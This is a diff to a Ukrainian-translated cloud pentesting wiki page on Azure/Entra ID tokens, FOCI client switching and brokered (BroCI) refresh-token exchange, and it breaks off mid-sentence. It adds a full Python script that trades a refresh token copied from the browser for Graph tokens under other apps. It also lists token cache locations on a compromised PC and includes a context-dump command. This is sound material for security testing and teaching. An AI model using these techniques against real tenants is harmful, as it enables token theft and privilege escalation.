diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index b66091d86..46ead2908 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -1,100 +1,100 @@ -# Az - Tokens & Public Applications +# Az - Токени та публічні додатки {{#include ../../../banners/hacktricks-training.md}} -## Основна інформація +## Базова інформація -Entra ID — це хмарна платформа Microsoft для identity and access management (IAM), яка слугує базовою системою автентифікації та авторизації для сервісів, таких як Microsoft 365 і Azure Resource Manager. Azure AD реалізує фреймворк авторизації OAuth 2.0 та протокол автентифікації OpenID Connect (OIDC) для керування доступом до ресурсів. +Entra ID — хмарна платформа Microsoft для управління ідентифікацією та доступом (IAM), яка слугує основною системою автентифікації та авторизації для сервісів, таких як Microsoft 365 та Azure Resource Manager. Azure AD реалізує рамки авторизації OAuth 2.0 та протокол автентифікації OpenID Connect (OIDC) для керування доступом до ресурсів. ### OAuth -**Ключові учасники в OAuth 2.0:** +**Ключові учасники OAuth 2.0:** -1. **Resource Server (RS):** Захищає ресурси, що належать resource owner. -2. **Resource Owner (RO):** Зазвичай це кінцевий користувач, який володіє захищеними ресурсами. -3. **Client Application (CA):** Додаток, який запитує доступ до ресурсів від імені resource owner. -4. **Authorization Server (AS):** Видає access tokens клієнтським додаткам після їх аутентифікації та авторизації. +1. **Resource Server (RS):** Захищає ресурси, що належать власникові ресурсу. +2. **Resource Owner (RO):** Зазвичай кінцевий користувач, який володіє захищеними ресурсами. +3. **Client Application (CA):** Додаток, що запитує доступ до ресурсів від імені власника ресурсу. +4. **Authorization Server (AS):** Видає access tokens клієнтським додаткам після їх автентифікації та авторизації. **Scopes and Consent:** -- **Scopes:** Гранульовані дозволи, визначені на resource server, що вказують рівні доступу. -- **Consent:** Процес, під час якого resource owner надає client application дозвіл на доступ до ресурсів з певними scopes. +- **Scopes:** Гранульовані дозволи, визначені на resource server, які конкретизують рівні доступу. +- **Consent:** Процес, за допомогою якого власник ресурсу надає клієнтському додатку дозвіл доступу до ресурсів з певними scopes. **Microsoft 365 Integration:** -- Microsoft 365 використовує Azure AD для IAM і складається з кількох "first-party" OAuth додатків. -- Ці додатки глибоко інтегровані й часто мають взаємозалежні сервісні відносини. +- Microsoft 365 використовує Azure AD для IAM і складається з численних "first-party" OAuth додатків. +- Ці додатки глибоко інтегровані і часто мають взаємозалежні сервісні відносини. - Щоб спростити досвід користувача та зберегти функціональність, Microsoft надає "implied consent" або "pre-consent" цим first-party додаткам. -- **Implied Consent:** Певні додатки автоматично **granted access to specific scopes without explicit user or administrator approva**l. -- Ці попередньо погоджені scopes зазвичай приховані від користувачів та адміністраторів, що робить їх менш помітними в стандартних інтерфейсах керування. +- **Implied Consent:** Деяким додаткам автоматично **надається доступ до певних scopes без явного схвалення користувача або адміністратора**. +- Ці попередньо затверджені scopes зазвичай приховані як від користувачів, так і від адміністраторів, що робить їх менш помітними у стандартних інтерфейсах керування. -**Client Application Types:** +**Типи клієнтських додатків:** 1. **Confidential Clients:** - Мають власні облікові дані (наприклад, паролі або сертифікати). -- Можуть **securely authenticate themselves** до authorization server. +- Можуть **безпечно автентифікуватися** перед authorization server. 2. **Public Clients:** - Не мають унікальних облікових даних. -- Не можуть безпечно аутентифікуватися перед authorization server. -- **Security Implication:** Зловмисник може видавати себе за public client application під час запиту токенів, оскільки authorization server немає механізму для перевірки легітимності додатка. +- Не можуть безпечно автентифікуватися перед authorization server. +- **Наслідок для безпеки:** Зловмисник може видавати себе за public client додаток при запиті токенів, оскільки authorization server не має механізму для перевірки легітимності додатку. -## Authentication Tokens +## Токени автентифікації -Існує **три типи токенів**, що використовуються в OIDC: +Є **три типи токенів**, що використовуються в OIDC: - [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Клієнт пред'являє цей токен resource server для **доступу до ресурсів**. Його можна використовувати лише для конкретної комбінації користувача, клієнта та ресурсу і **не можна відкликати** до закінчення терміну дії — за замовчуванням це 1 година. -- **ID Tokens**: Клієнт отримує цей **токен від authorization server**. Він містить базову інформацію про користувача. Він **прив'язаний до конкретної комбінації користувача і клієнта**. -- **Refresh Tokens**: Надаються клієнту разом з access token. Використовуються для **отримання нових access та ID токенів**. Вони прив'язані до конкретної комбінації користувача і клієнта та можуть бути відкликані. За замовчуванням термін придатності — **90 днів** для неактивних refresh токенів і **без терміну дії для активних токенів** (з refresh токена можливо отримувати нові refresh токени). -- Refresh token має бути прив'язаний до **`aud`**, до певних **scopes**, і до **tenant**, і він повинен мати можливість генерувати access tokens лише для того aud, scopes (і не більше) та tenant. Однак це не завжди так для **FOCI applications tokens**. +- **ID Tokens**: Клієнт отримує цей **токен від authorization server**. Він містить базову інформацію про користувача. Він **зв'язаний з конкретною комбінацією користувача та клієнта**. +- **Refresh Tokens**: Надаються клієнту разом з access token. Використовуються для **отримання нових access та ID токенів**. Вони прив'язані до конкретної комбінації користувача і клієнта і можуть бути відкликані. Стандартний термін дії — **90 днів** для неактивних refresh токенів та **відсутність терміну дії для активних токенів** (з refresh token можна отримувати нові refresh токени). +- Refresh token має бути прив'язаний до значення **`aud`**, до певних **scopes**, та до **tenant** і повинен генерувати access tokens лише для того aud, тих scopes (і ні для чого більше) та tenant. Проте це не завжди дотримується для **FOCI applications tokens**. - Refresh token зашифрований і лише Microsoft може його розшифрувати. - Отримання нового refresh token не відкликає попередній refresh token. > [!WARNING] -> Інформація для **conditional access** **зберігається** всередині **JWT**. Тому, якщо ви запитали **token з дозволеної IP-адреси**, ця **IP** буде **записана** в токен, і потім ви зможете використовувати цей токен з **недозволеної IP для доступу до ресурсів**. +> Інформація для **conditional access** **зберігається** всередині **JWT**. Тому, якщо ви запитуєте **токен з дозволеної IP-адреси**, ця **IP** буде **збережена** в токені, і потім ви зможете використовувати цей токен з **недозволеної IP для доступу до ресурсів**. ### Access Tokens "aud" -Поле, вказане у полі "aud", — це **resource server** (додаток), що використовується для виконання логіну. +Поле, вказане в полі "aud", — це **resource server** (додаток), який використовується для виконання логіну. -Команда `az account get-access-token --resource-type [...]` підтримує наступні типи, і кожен з них додасть конкретний "aud" у отриманий access token: +Команда `az account get-access-token --resource-type [...]` підтримує наступні типи, і кожен з них додасть специфічний "aud" у результуючий access token: > [!CAUTION] -> Зверніть увагу, що наведені нижче — лише API, які підтримує `az account get-access-token`, але їх більше. +> Зверніть увагу, що наведенi нижче — це лише API, які підтримує `az account get-access-token`, але їх більше.
-aud examples +приклади aud -- **aad-graph (Azure Active Directory Graph API)**: Використовується для доступу до застарілого Azure AD Graph API (deprecated), який дозволяє додаткам читати та записувати дані каталогу в Azure Active Directory (Azure AD). +- **aad-graph (Azure Active Directory Graph API)**: Використовується для доступу до застарілого Azure AD Graph API (deprecated), який дозволяє додаткам читати та записувати дані директорії в Azure Active Directory (Azure AD). - `https://graph.windows.net/` -* **arm (Azure Resource Manager)**: Використовується для керування ресурсами Azure через Azure Resource Manager API. Це включає операції створення, оновлення та видалення ресурсів, таких як віртуальні машини, облікові записи сховища тощо. +* **arm (Azure Resource Manager)**: Використовується для управління ресурсами Azure через Azure Resource Manager API. Це включає операції створення, оновлення та видалення ресурсів, таких як віртуальні машини, облікові записи зберігання тощо. - `https://management.core.windows.net/ or https://management.azure.com/` -- **batch (Azure Batch Services)**: Використовується для доступу до Azure Batch, сервісу, що дозволяє ефективно виконувати великомасштабні паралельні та високопродуктивні обчислювальні задачі в хмарі. +- **batch (Azure Batch Services)**: Використовується для доступу до Azure Batch — сервісу, що дозволяє ефективно запускати масштабні паралельні й високопродуктивні обчислювальні задачі в хмарі. - `https://batch.core.windows.net/` -* **data-lake (Azure Data Lake Storage)**: Використовується для взаємодії з Azure Data Lake Storage Gen1, масштабованим сервісом зберігання та аналітики даних. +* **data-lake (Azure Data Lake Storage)**: Використовується для взаємодії з Azure Data Lake Storage Gen1 — масштабованим сервісом зберігання даних та аналітики. - `https://datalake.azure.net/` -- **media (Azure Media Services)**: Використовується для доступу до Azure Media Services, які надають хмарні сервіси для обробки та доставки медіаконтенту (відео та аудіо). +- **media (Azure Media Services)**: Використовується для доступу до Azure Media Services, які надають хмарні сервіси обробки та доставки медіаконтенту (відео та аудіо). - `https://rest.media.azure.net` -* **ms-graph (Microsoft Graph API)**: Використовується для доступу до Microsoft Graph API — уніфікованої точки доступу до даних сервісів Microsoft 365. Дозволяє отримувати доступ до даних і аналітики з таких сервісів, як Azure AD, Office 365, Enterprise Mobility та Security services. +* **ms-graph (Microsoft Graph API)**: Використовується для доступу до Microsoft Graph API — уніфікованої точки доступу до даних сервісів Microsoft 365. Дозволяє отримувати доступ до даних і інсайтів з таких сервісів, як Azure AD, Office 365, Enterprise Mobility та Security services. - `https://graph.microsoft.com` -- **oss-rdbms (Azure Open Source Relational Databases)**: Використовується для доступу до сервісів баз даних Azure для open-source реляційних рушіїв, таких як MySQL, PostgreSQL і MariaDB. +- **oss-rdbms (Azure Open Source Relational Databases)**: Використовується для доступу до сервісів баз даних Azure для open-source реляційних СУБД, таких як MySQL, PostgreSQL та MariaDB. - `https://ossrdbms-aad.database.windows.net`
### Access Tokens Scopes "scp" -Сфера (scope) access token зберігається в ключі scp всередині JWT access token. Ці scopes визначають, до чого має доступ access token. +Область (scope) access token зберігається всередині ключа scp у JWT access token. Ці scopes визначають, до чого має доступ access token. -Якщо JWT дозволено звертатися до певного API, але **він не має scope** для виконання запитуваної дії, то **він не зможе виконати цю дію** з цим JWT. +Якщо JWT дозволено звертатися до певного API, але він **не має scope**, необхідного для виконання запитуваної дії, то він **не зможе виконати цю дію** з цим JWT. -### Get refresh & access token example +### Приклад отримання refresh та access токенів ```python # Code example from https://github.com/secureworks/family-of-client-ids-research import msal @@ -144,31 +144,31 @@ scopes=["https://graph.microsoft.com/.default"], ) pprint(new_azure_cli_bearer_tokens_for_graph_api) ``` -### Інші поля токена доступу +### Інші поля access token -- **appid**: Ідентифікатор застосунку, використаний для генерації токена -- **appidacr**: The Application Authentication Context Class Reference вказує, як був аутентифікований клієнт; для публічного клієнта значення 0, а якщо використовується client secret — значення 1 +- **appid**: Application ID used to generate the token +- **appidacr**: The Application Authentication Context Class Reference вказує, як був аутентифікований client; для public client значення 0, а якщо використовується client secret — значення 1 - **acr**: The Authentication Context Class Reference claim дорівнює "0", коли аутентифікація кінцевого користувача не відповідала вимогам ISO/IEC 29115. -- **amr**: Метод аутентифікації вказує, як було автентифіковано токен. Значення “pwd” означає, що використано пароль. -- **groups**: Вказує групи, у яких принципал є учасником. -- **iss**: Issuer ідентифікує security token service (STS), яка згенерувала токен. наприклад https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (uuid — це tenant ID) -- **oid**: Object ID принципала +- **amr**: The Authentication method вказує, як токен був аутентифікований. Значення “pwd” означає, що використано пароль. +- **groups**: Вказує групи, де principal є членом. +- **iss**: The issues ідентифікує security token service (STS), яка згенерувала токен. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID) +- **oid**: The object ID of the principal - **tid**: Tenant ID -- **iat, nbf, exp**: Issued at (коли було видано), Not before (не можна використовувати до цього часу, зазвичай те саме значення, що і iat), Expiration time. +- **iat, nbf, exp**: Issued at (коли було видано), Not before (не можна використовувати до цього часу, зазвичай те саме значення, що iat), Expiration time (час закінчення дії). ## FOCI Tokens Privilege Escalation -Раніше згадувалося, що refresh tokens повинні бути прив'язані до **scopes**, з якими вони були згенеровані, до **application** та **tenant**, для яких вони були створені. Якщо будь-який з цих кордонів буде порушений, можлива ескалація привілеїв, оскільки стане можливим генерувати access tokens для інших ресурсів і tenant-ів, до яких має доступ користувач, і з більшою кількістю scopes, ніж було задумано спочатку. +Раніше згадувалося, що refresh tokens повинні бути прив'язані до **scopes**, з якими вони були згенеровані, до **application** і **tenant**, для яких вони були згенеровані. Якщо будь-яке з цих обмежень порушується, it's possible to escalate privileges, оскільки стане можливим генерувати access tokens для інших ресурсів і tenants, до яких користувач має доступ, і з більшою кількістю scopes, ніж було передбачено спочатку. -До того ж, це можливо з усіма refresh tokens в [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google), оскільки, як згадують [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens): "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them." +Більше того, **this is possible with all refresh tokens** у [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google), оскільки, як згадують [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens): "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them." -Крім того, зауважте, що FOCI applications — це public applications, тому **no secret is needed** для автентифікації на сервері. +Також зауважте, що FOCI applications є public applications, тож **no secret is needed** для аутентифікації на сервері. -Відомі FOCI клієнти, зазначені в [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main), можна [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). +Відомі FOCI clients, reported in the [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) can be [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). ### Get different scope -Продовжуючи попередній приклад коду, у цьому коді запитується новий токен для іншого scope: +Далі, у прикладі коду вище, у цьому прикладі запитується новий токен для іншого scope: ```python # Code from https://github.com/secureworks/family-of-client-ids-research azure_cli_bearer_tokens_for_outlook_api = ( @@ -185,7 +185,7 @@ scopes=[ ) pprint(azure_cli_bearer_tokens_for_outlook_api) ``` -### Отримати іншого клієнта та області доступу (scopes) +### Отримати іншого клієнта та різні області доступу ```python # Code from https://github.com/secureworks/family-of-client-ids-research microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c") @@ -201,30 +201,361 @@ scopes=["https://graph.microsoft.com/.default"], # How is this possible? pprint(microsoft_office_bearer_tokens_for_graph_api) ``` +## NAA / BroCI (Nested App Authentication / Broker Client Injection) + +A BroCI refresh tokens — це схема посередницького обміну токенами, де існуючий refresh token використовується з додатковими broker параметрами для запиту токенів від імені іншого довіреного first-party app. + +These refresh tokens must be minted in that broker context (a regular refresh token usually cannot be used as a BroCI refresh token). + +### Goal and purpose + +Мета BroCI — повторно використати валідну сесію користувача з ланцюжка додатків, здатних працювати через broker, і запитати токени для іншої пари trusted app/resource. Це дозволяє "escalate privileges" відносно початкового токена. + +З атакувальної точки зору це важливо, тому що: + +- Це може розблокувати pre-consented first-party app шляхи, які недоступні при стандартних refresh exchanges. +- Це може повернути access tokens для високовартісних API (наприклад, Microsoft Graph) під ідентичностями app з широкими delegated permissions. +- Це розширює можливості пост-аутентифікаційного token pivoting за межі класичної FOCI client switching. + +Що змінюється у NAA/BroCI refresh token — це не видимий формат токена, а **context видачі** та broker-пов’язані метадані, які Microsoft валідовує під час brokered refresh операцій. + +NAA/BroCI token exchanges — це **не те саме**, що звичайний OAuth refresh exchange. + +- A regular refresh token (for example obtained via device code flow) is usually valid for standard `grant_type=refresh_token` operations. +- A BroCI request includes additional broker context (`brk_client_id`, broker `redirect_uri`, and `origin`). +- Microsoft validates whether the presented refresh token was minted in a matching brokered context. +- Therefore, many "normal" refresh tokens fail in BroCI requests with errors such as `AADSTS900054` ("Specified Broker Client ID does not match ID in provided grant"). +- You generally cannot "convert" a normal refresh token into a BroCI-valid one in code. +- You need a refresh token already issued by a compatible brokered flow. + +Check the web **** to find BroCI configured apps an the trust relationships they have. + + +### Mental model + +Think of BroCI as: + +`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource` + +If any part of that broker chain does not match, the exchange fails. + +### Where to find a BroCI-valid refresh token + +One practical way is browser portal traffic collection: + +1. Увійдіть до `https://entra.microsoft.com` (or Azure portal). +2. Відкрийте DevTools -> Network. +3. Фільтруйте за: +- `oauth2/v2.0/token` +- `management.core.windows.net` +4. Знайдіть brokered token response і скопіюйте `refresh_token`. +5. Використайте цей refresh token з відповідними BroCI параметрами (`brk_client_id`, `redirect_uri`, `origin`) при запиті токенів для цільових додатків (наприклад ADIbizaUX / Microsoft_Azure_PIMCommon scenarios). + +### Common errors + +- `AADSTS900054`: The refresh token context does not match the supplied broker tuple (`brk_client_id` / `redirect_uri` / `origin`) or the token is not from a brokered portal flow. +- `AADSTS7000218`: The selected client flow expects a confidential credential (`client_secret`/assertion), often seen when trying device code with a non-public client. + +
+Python BroCI refresh helper (broci_auth.py) +```python +#!/usr/bin/env python3 +""" +Python implementation of EntraTokenAid Broci refresh flow. + +Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for: +- brk_client_id +- redirect_uri +- Origin header + +Usage: +python3 broci_auth.py --refresh-token "" + +How to obtain a Broci-valid refresh token (authorized testing only): +1) Open https://entra.microsoft.com and sign in. +2) Open browser DevTools -> Network. +3) Filter requests for: +- "oauth2/v2.0/token" +- "management.core.windows.net" +4) Locate the portal broker token response and copy the "refresh_token" value +(the flow should be tied to https://management.core.windows.net//). +5) Use that token with this script and Broci params: + +python3 broci_auth.py \ +--refresh-token "" \ +--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \ +--tenant "organizations" \ +--api "graph.microsoft.com" \ +--scope ".default offline_access" \ +--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \ +--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \ +--origin "https://entra.microsoft.com" \ +--token-out +""" + +import argparse +import base64 +import datetime as dt +import json +import re +import sys +import urllib.error +import urllib.parse +import urllib.request +from typing import Any + + +GUID_RE = re.compile( +r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$" +) +OIDC_SCOPES = {"offline_access", "openid", "profile", "email"} + + +def resolve_api_scope_url(api: str, scope: str) -> str: +""" +Match Resolve-ApiScopeUrl behavior from the PowerShell module. +""" +if GUID_RE.match(api): +base_resource = api +elif api.lower().startswith("urn:") or "://" in api: +base_resource = api +else: +base_resource = f"https://{api}" + +base_resource = base_resource.rstrip("/") + +resolved: list[str] = [] +for token in scope.split(): +if not token.strip(): +continue +if "://" in token: +resolved.append(token) +elif token.lower().startswith("urn:"): +resolved.append(token) +elif token in OIDC_SCOPES: +resolved.append(token) +elif GUID_RE.match(token): +resolved.append(f"{token}/.default") +else: +normalized = ".default" if token in {"default", ".default"} else token +resolved.append(f"{base_resource}/{normalized}") + +return " ".join(resolved) + + +def parse_jwt_payload(jwt_token: str) -> dict[str, Any]: +parts = jwt_token.split(".") +if len(parts) != 3: +raise ValueError("Invalid JWT format.") +payload = parts[1] +padding = "=" * ((4 - len(payload) % 4) % 4) +decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii")) +return json.loads(decoded.decode("utf-8")) + + +def refresh_broci_token( +refresh_token: str, +client_id: str, +scope: str, +api: str, +tenant: str, +user_agent: str, +origin: str | None, +brk_client_id: str | None, +redirect_uri: str | None, +disable_cae: bool, +) -> dict[str, Any]: +api_scope_url = resolve_api_scope_url(api=api, scope=scope) + +headers = { +"User-Agent": user_agent, +"X-Client-Sku": "MSAL.Python", +"X-Client-Ver": "1.31.0", +"X-Client-Os": "win32", +"Content-Type": "application/x-www-form-urlencoded", +} +if origin: +headers["Origin"] = origin + +body: dict[str, str] = { +"grant_type": "refresh_token", +"client_id": client_id, +"scope": api_scope_url, +"refresh_token": refresh_token, +} +if not disable_cae: +body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}' +if brk_client_id: +body["brk_client_id"] = brk_client_id +if redirect_uri: +body["redirect_uri"] = redirect_uri + +data = urllib.parse.urlencode(body).encode("utf-8") +token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token" +req = urllib.request.Request(token_url, data=data, headers=headers, method="POST") + +try: +with urllib.request.urlopen(req) as resp: +raw = resp.read().decode("utf-8") +except urllib.error.HTTPError as e: +err_raw = e.read().decode("utf-8", errors="replace") +try: +err_json = json.loads(err_raw) +short = err_json.get("error", "unknown_error") +desc = err_json.get("error_description", err_raw) +raise RuntimeError(f"{short}: {desc}") from None +except json.JSONDecodeError: +raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None + +tokens = json.loads(raw) +if "access_token" not in tokens: +raise RuntimeError("Token endpoint response did not include access_token.") +return tokens + + +def main() -> int: +parser = argparse.ArgumentParser( +description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)." +) +parser.add_argument("--refresh-token", required=True, help="Refresh token (required).") +parser.add_argument( +"--client-id", +default="04b07795-8ddb-461a-bbee-02f9e1bf7b46", +help="Client ID (default: Azure CLI).", +) +parser.add_argument( +"--scope", +default=".default offline_access", +help="Scopes (default: '.default offline_access').", +) +parser.add_argument( +"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)." +) +parser.add_argument("--tenant", default="common", help="Tenant (default: common).") +parser.add_argument( +"--user-agent", +default="python-requests/2.32.3", +help="User-Agent sent to token endpoint.", +) +parser.add_argument("--origin", default=None, help="Optional Origin header.") +parser.add_argument( +"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)." +) +parser.add_argument( +"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)." +) +parser.add_argument( +"--disable-cae", +action="store_true", +help="Disable CAE claims in token request.", +) +parser.add_argument( +"--token-out", +action="store_true", +help="Print access/refresh tokens in output.", +) +parser.add_argument( +"--disable-jwt-parsing", +action="store_true", +help="Do not parse JWT claims.", +) + +args = parser.parse_args() + +print("[*] Sending request to token endpoint") +try: +tokens = refresh_broci_token( +refresh_token=args.refresh_token, +client_id=args.client_id, +scope=args.scope, +api=args.api, +tenant=args.tenant, +user_agent=args.user_agent, +origin=args.origin, +brk_client_id=args.brk_client_id, +redirect_uri=args.redirect_uri, +disable_cae=args.disable_cae, +) +except Exception as e: +print(f"[!] Error: {e}", file=sys.stderr) +return 1 + +expires_in = int(tokens.get("expires_in", 0)) +expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds") +tokens["expiration_time"] = expiration_time + +print( +"[+] Got an access token and a refresh token" +if tokens.get("refresh_token") +else "[+] Got an access token (no refresh token requested)" +) + +if not args.disable_jwt_parsing: +try: +jwt_payload = parse_jwt_payload(tokens["access_token"]) +audience = jwt_payload.get("aud", "") +print(f"[i] Audience: {audience} / Expires at: {expiration_time}") +tokens["scp"] = jwt_payload.get("scp") +tokens["tenant"] = jwt_payload.get("tid") +tokens["user"] = jwt_payload.get("upn") +tokens["client_app"] = jwt_payload.get("app_displayname") +tokens["client_app_id"] = args.client_id +tokens["auth_methods"] = jwt_payload.get("amr") +tokens["ip"] = jwt_payload.get("ipaddr") +tokens["audience"] = audience +if isinstance(audience, str): +tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience)) +if "xms_cc" in jwt_payload: +tokens["xms_cc"] = jwt_payload.get("xms_cc") +except Exception as e: +print(f"[!] JWT parse error: {e}", file=sys.stderr) +return 1 +else: +print(f"[i] Expires at: {expiration_time}") + +if args.token_out: +print("\nAccess Token:") +print(tokens.get("access_token", "")) +if tokens.get("refresh_token"): +print("\nRefresh Token:") +print(tokens["refresh_token"]) + +print("\nToken object (JSON):") +print(json.dumps(tokens, indent=2)) +return 0 + + +if __name__ == "__main__": +raise SystemExit(main()) +``` +
+ ## Де знайти токени -З точки зору атакуючого дуже цікаво знати, де можна знайти access і refresh токени, наприклад коли ПК жертви скомпрометовано: +З точки зору нападника важливо знати, де можна знайти **access** і **refresh tokens**, наприклад коли ПК жертви скомпрометовано: - Всередині **`/.Azure`** -- **`azureProfile.json`** містить інформацію про користувачів, які виконували вхід раніше -- **`clouds.config contains`** містить інформацію про підписки +- **`azureProfile.json`** містить інформацію про попередні входи користувачів +- **`clouds.config contains`** інформацію про підписки - **`service_principal_entries.json`** містить облікові дані застосунків (tenant id, clients і secret). Тільки в Linux & macOS -- **`msal_token_cache.json`** містить access tokens і refresh tokens. Тільки в Linux & macOS -- **`service_principal_entries.bin`** and msal_token_cache.bin використовуються в Windows і зашифровані за допомогою DPAPI +- **`msal_token_cache.json`** містить **access tokens** та **refresh tokens**. Тільки в Linux & macOS +- **`service_principal_entries.bin`** і msal_token_cache.bin використовуються в Windows і зашифровані за допомогою DPAPI - **`msal_http_cache.bin`** — кеш HTTP-запитів - Завантажити його: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)` -- **`AzureRmContext.json`** містить інформацію про попередні входи з використанням Az PowerShell (але без облікових даних) -- Всередині **`C:\Users\\AppData\Local\Microsoft\IdentityCache\*`** є кілька `.bin` файлів з **access tokens**, ID tokens та інформацією про акаунти, зашифрованою за допомогою DPAPI користувача. -- Можна знайти більше **access tokens** у `.tbres` файлах всередині **`C:\Users\\AppData\Local\Microsoft\TokenBroken\Cache\`**, які містять base64, зашифрований DPAPI, з access tokens. -- На Linux та macOS можна отримати **access tokens, refresh tokens і id tokens** з Az PowerShell (якщо використовується), запустивши `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` +- **`AzureRmContext.json`** містить інформацію про попередні входи через Az PowerShell (але без облікових даних) +- У папці **`C:\Users\\AppData\Local\Microsoft\IdentityCache\*`** є декілька `.bin` файлів з **access tokens**, ID tokens та інформацією про акаунти, зашифрованою за допомогою DPAPI користувача. +- У файлах `.tbres` всередині **`C:\Users\\AppData\Local\Microsoft\TokenBroken\Cache\`** можна знайти додаткові **access tokens**; ці файли містять base64, зашифровані з допомогою DPAPI, що містять access tokens. +- У Linux і macOS можна отримати **access tokens, refresh tokens і id tokens** з Az PowerShell (якщо використовувався), виконавши `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` - У Windows це генерує лише id tokens. -- Можна перевірити, чи використовувався Az PowerShell на Linux та macSO, перевіривши, чи існує `$HOME/.local/share/.IdentityService/` (хоча вміст файлів порожній і марний) -- Якщо користувач **увійшов в Azure через браузер**, згідно з цим [**постом**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) можна запустити authentication flow з **redirect to localhost**, змусити браузер автоматично авторизувати вхід і отримати refresh token. Зауважте, що лише декілька FOCI applications дозволяють redirect на localhost (наприклад az cli або the powershell module), тому ці додатки мають бути дозволені. -- Інший варіант, описаний у блозі — використати інструмент [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow), який може використовувати будь-який додаток, оскільки він **отримає OAuth код, а потім отримає a refresh token з title фінальної auth сторінки**, використовуючи redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`. +- Можна перевірити, чи використовувався Az PowerShell у Linux і macOS, перевіривши наявність `$HOME/.local/share/.IdentityService/` (хоча файли всередині зазвичай порожні й марні) +- Якщо користувач **logged inside Azure with the browser**, згідно з цим [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) можна ініціювати аутентифікацію з **redirect to localhost**, змусити браузер автоматично авторизувати вхід і отримати refresh token. Зауважте, що лише кілька FOCI applications дозволяють redirect to localhost (наприклад az cli або the powershell module), тому ці додатки мають бути дозволені. +- Інший варіант, описаний у блозі, — використати інструмент [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow), який може працювати з будь-яким застосунком, оскільки він **отримує OAuth code, щоб потім отримати refresh token з title фінальної auth сторінки**, використовуючи redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`. -## References +## Посилання - [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research) - [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md) +- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/) +- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index 9a43b7f15..09dff937a 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -3,15 +3,15 @@ {{#include ../../../../banners/hacktricks-training.md}} > [!NOTE] -> Зверніть увагу, що **не всі детальні дозволи**, які вбудовані в ролі в Entra ID, **можуть бути використані в користувацьких ролях.** +> Зверніть увагу, що **не всі гранулярні дозволи**, які мають вбудовані ролі в Entra ID, **можна використовувати в кастомних ролях.** ## Ролі -### Роль: Адміністратор привілейованих ролей +### Role: Privileged Role Administrator -Ця роль містить необхідні детальні дозволи для того, щоб мати можливість призначати ролі принципалам і надавати більше дозволів ролям. Обидві дії можуть бути зловживані для ескалації 